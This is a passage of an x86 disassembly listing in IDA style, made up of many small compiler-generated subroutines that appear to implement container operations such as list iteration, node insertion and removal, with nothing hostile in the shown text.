mov ecx, edi
mov dword ptr [esi+8], 0
call sub_4016D6
mov edx, [eax]
lea eax, [esp+8]
push edx
push eax
mov ecx, edi
call sub_40113B
mov ecx, [eax]
lea edx, [esp+10h]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
mov ecx, esi
push eax
call sub_401735
mov eax, esi
pop edi
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4151C0 proc near ; CODE XREF: sub_401582j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401D9D
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40146F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401CE9
sub_4151C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415230 proc near ; CODE XREF: sub_4012E9j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401DBB
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415230 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415270 proc near ; CODE XREF: sub_401D9Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401DBB
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415270 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4152A0 proc near ; CODE XREF: sub_401488j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401D9D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40217B
sub_4152A0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152E0 proc near ; CODE XREF: sub_401258j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_401D9D
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401D70
test al, al
jz short loc_41536D
push edi
mov edi, [esp+14h+arg_0]
loc_41531F: ; CODE XREF: sub_4152E0+8Aj
lea ecx, [esp+14h+var_C]
call sub_401FC3
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415351
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_401578
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_401FCD
; ---------------------------------------------------------------------------
jmp short loc_41535A
; ---------------------------------------------------------------------------
loc_415351: ; CODE XREF: sub_4152E0+4Ej
lea ecx, [esp+14h+var_C]
call sub_4020C2
loc_41535A: ; CODE XREF: sub_4152E0+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401D70
test al, al
jnz short loc_41531F
pop edi
loc_41536D: ; CODE XREF: sub_4152E0+38j
pop esi
add esp, 0Ch
retn 4
sub_4152E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153B0 proc near ; CODE XREF: sub_401E38j
push esi
mov esi, ecx
call sub_401ED3
mov eax, esi
pop esi
retn
sub_4153B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153D0 proc near ; CODE XREF: sub_401FC3j
mov eax, [ecx]
push eax
call sub_401F19
add esp, 4
retn
sub_4153D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153F0 proc near ; CODE XREF: sub_4020C2j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_4153F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415420 proc near ; CODE XREF: sub_401D70j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015D7
neg al
sbb eax, eax
inc eax
retn 4
sub_415420 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415450 proc near ; CODE XREF: sub_401F23j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401C8F
sub_415450 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415490 proc near ; CODE XREF: sub_4011B8j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401E33
sub_415490 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415500 proc near ; CODE XREF: sub_401992j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401CDA
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415500 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415540 proc near ; CODE XREF: sub_402257j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401CDA
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415540 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415570 proc near ; CODE XREF: sub_401F0Fj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402257
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401AAA
sub_415570 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155B0 proc near ; CODE XREF: sub_401933j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
pop esi
add esp, 0Ch
retn
sub_4155B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415600 proc near ; CODE XREF: sub_401154j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401AEB
test al, al
jz short loc_41568D
push edi
mov edi, [esp+14h+arg_0]
loc_41563F: ; CODE XREF: sub_415600+8Aj
lea ecx, [esp+14h+var_C]
call sub_4011D1
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415671
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_4010DC
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_4017E9
; ---------------------------------------------------------------------------
jmp short loc_41567A
; ---------------------------------------------------------------------------
loc_415671: ; CODE XREF: sub_415600+4Ej
lea ecx, [esp+14h+var_C]
call sub_4018C5
loc_41567A: ; CODE XREF: sub_415600+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401AEB
test al, al
jnz short loc_41563F
pop edi
loc_41568D: ; CODE XREF: sub_415600+38j
pop esi
add esp, 0Ch
retn 4
sub_415600 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4156D0 proc near ; CODE XREF: sub_401037j
push esi
mov esi, ecx
call sub_401E97
mov eax, esi
pop esi
retn
sub_4156D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4156F0 proc near ; CODE XREF: sub_4011D1j
mov eax, [ecx]
push eax
call sub_402144
add esp, 4
retn
sub_4156F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415710 proc near ; CODE XREF: sub_4018C5j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415710 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415740 proc near ; CODE XREF: sub_401AEBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401EC4
neg al
sbb eax, eax
inc eax
retn 4
sub_415740 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415770 proc near ; CODE XREF: sub_401852j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401DB6
sub_415770 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4157B0 proc near ; CODE XREF: sub_4014BFj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40140B
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401F14
sub_4157B0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415820 proc near ; CODE XREF: sub_401901j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401BCC
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D7A
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415820 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415860 proc near ; CODE XREF: sub_40114Aj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D7A
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415860 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415890 proc near ; CODE XREF: sub_401410j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40114A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401D11
sub_415890 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4158D0 proc near ; CODE XREF: sub_401C76j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40140B
pop esi
add esp, 0Ch
retn
sub_4158D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415920 proc near ; CODE XREF: sub_40214Ej
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401339
test al, al
jz short loc_4159AD
push edi
mov edi, [esp+14h+arg_0]
loc_41595F: ; CODE XREF: sub_415920+8Aj
lea ecx, [esp+14h+var_C]
call sub_40135C
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415991
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_401EBF
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
jmp short loc_41599A
; ---------------------------------------------------------------------------
loc_415991: ; CODE XREF: sub_415920+4Ej
lea ecx, [esp+14h+var_C]
call sub_40118B
loc_41599A: ; CODE XREF: sub_415920+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401339
test al, al
jnz short loc_41595F
pop edi
loc_4159AD: ; CODE XREF: sub_415920+38j
pop esi
add esp, 0Ch
retn 4
sub_415920 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4159F0 proc near ; CODE XREF: sub_402275j
push esi
mov esi, ecx
call sub_401E42
mov eax, esi
pop esi
retn
sub_4159F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A10 proc near ; CODE XREF: sub_40135Cj
mov eax, [ecx]
push eax
call sub_4017E4
add esp, 4
retn
sub_415A10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A30 proc near ; CODE XREF: sub_40118Bj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401BCC
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415A30 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A60 proc near ; CODE XREF: sub_401339j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401456
neg al
sbb eax, eax
inc eax
retn 4
sub_415A60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A90 proc near ; CODE XREF: sub_40113Bj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_40175D
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415A90 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415AD0 proc near ; CODE XREF: sub_4016D6j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_40175D
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415AD0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415B00 proc near ; CODE XREF: sub_40217Bj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C62
mov edi, eax
push edi
call sub_401104
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401ED8
sub_415B00 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401104
push edi
mov [eax], ebx
call sub_401104
mov edi, [eax]
push edi
call sub_401104
mov ecx, [eax]
push ecx
call sub_4020A9
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401F19
add esp, 4
mov ecx, esi
push eax
call sub_4021B7
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401DBB
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415BA0 proc near ; CODE XREF: sub_401735j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
lea eax, [esp+4+arg_8]
lea ecx, [esp+4+arg_4]
push eax
call sub_401CBC
test al, al
jz short loc_415BED
push edi
mov edi, [esp+8+arg_0]
loc_415BBA: ; CODE XREF: sub_415BA0+4Aj
lea ecx, [esp+8+arg_4]
call sub_401A5F
push eax
lea ecx, [esp+0Ch+arg_0]
push edi
push ecx
mov ecx, esi
call sub_40217B
; ---------------------------------------------------------------------------
lea ecx, [esp+8+arg_4]
call sub_40210D
lea edx, [esp+8+arg_8]
lea ecx, [esp+8+arg_4]
push edx
call sub_401CBC
test al, al
jnz short loc_415BBA
pop edi
loc_415BED: ; CODE XREF: sub_415BA0+13j
pop esi
retn 0Ch
sub_415BA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415C20 proc near ; CODE XREF: sub_401FCDj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401578
mov ecx, eax
call sub_401C62
mov esi, eax
push esi
call sub_4020A9
push esi
mov ebx, eax
call sub_401104
mov ecx, [eax]
push ecx
call sub_4020A9
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401104
push esi
mov ebx, eax
call sub_4020A9
mov eax, [eax]
push eax
call sub_401104
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401F19
add esp, 1Ch
mov ecx, edi
push eax
call sub_401500
push esi
mov ecx, edi
call sub_401CE9
sub_415C20 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415CE0 proc near ; CODE XREF: sub_40146Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401D70
test al, al
jz short loc_415D3A
loc_415CF8: ; CODE XREF: sub_415CE0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401578
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FCD
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401D70
test al, al
jnz short loc_415CF8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415D3A: ; CODE XREF: sub_415CE0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415CE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415D70 proc near ; CODE XREF: sub_401ED8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4020F4
sub_415D70 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415D85
mov edi, esi
loc_415D85: ; CODE XREF: ___:00415D81j
push esi
call sub_4020A9
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415D9A
mov edi, esi
loc_415D9A: ; CODE XREF: ___:00415D96j
push esi
call sub_401104
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415DC0 proc near ; CODE XREF: sub_401CE9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401E1A
sub_415DC0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DE0 proc near ; CODE XREF: sub_4020A9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_415DE0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E00 proc near ; CODE XREF: sub_401F19j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_415E00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E20 proc near ; CODE XREF: sub_401ED3j
mov eax, ecx
retn
sub_415E20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E40 proc near ; CODE XREF: sub_401DBBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40175D
mov eax, esi
pop esi
retn 4
sub_415E40 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E70 proc near ; CODE XREF: sub_401578j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4020C2
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_415E70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415EA0 proc near ; CODE XREF: sub_4015D7j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_415EA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415ED0 proc near ; CODE XREF: sub_401AAAj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401F8C
mov edi, eax
push edi
call sub_401163
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401C8F
sub_415ED0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401163
push edi
mov [eax], ebx
call sub_401163
mov edi, [eax]
push edi
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_402144
add esp, 4
mov ecx, esi
push eax
call sub_4015F0
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401CDA
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415F70 proc near ; CODE XREF: sub_4017E9j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4010DC
mov ecx, eax
call sub_401F8C
mov esi, eax
push esi
call sub_401249
push esi
mov ebx, eax
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401163
push esi
mov ebx, eax
call sub_401249
mov eax, [eax]
push eax
call sub_401163
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_402144
add esp, 1Ch
mov ecx, edi
push eax
call sub_401D61
push esi
mov ecx, edi
call sub_401E33
sub_415F70 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416030 proc near ; CODE XREF: sub_40132Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401AEB
test al, al
jz short loc_41608A
loc_416048: ; CODE XREF: sub_416030+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4017E9
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401AEB
test al, al
jnz short loc_416048
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
